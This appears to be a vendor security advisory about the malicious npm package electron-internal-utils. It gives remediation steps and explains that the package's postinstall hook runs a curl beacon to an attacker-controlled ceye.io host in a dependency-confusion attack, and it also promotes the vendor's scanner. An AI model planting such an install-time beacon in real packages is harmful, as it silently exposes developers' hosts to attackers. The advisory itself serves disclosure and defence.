Which versions of electron-internal-utils are malicious?

The following npm versions of electron-internal-utils are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate electron-internal-utils if I installed it?

Remove electron-internal-utils from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is electron-internal-utils part of a known attack campaign?

Yes — electron-internal-utils is associated with the IN-MAL-2026-007049 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect electron-internal-utils in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking electron-internal-utils and packages like it before any post-install script runs.

Immediate action

npm uninstall electron-internal-utils

What this malware does

On npm install, package.json's postinstall script executes curl http://9ph8dp.ceye.io, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the package was installed on the host and leaks the installer's public IP and DNS resolver metadata. The package ships no functionality (index.js contains only module.exports = {};) and its name impersonates the Electron project's internal-utilities namespace, consistent with a dependency-confusion attack against projects that reference internal Electron helpers. Any environment that runs npm install on this package will silently beacon to attacker-controlled infrastructure.
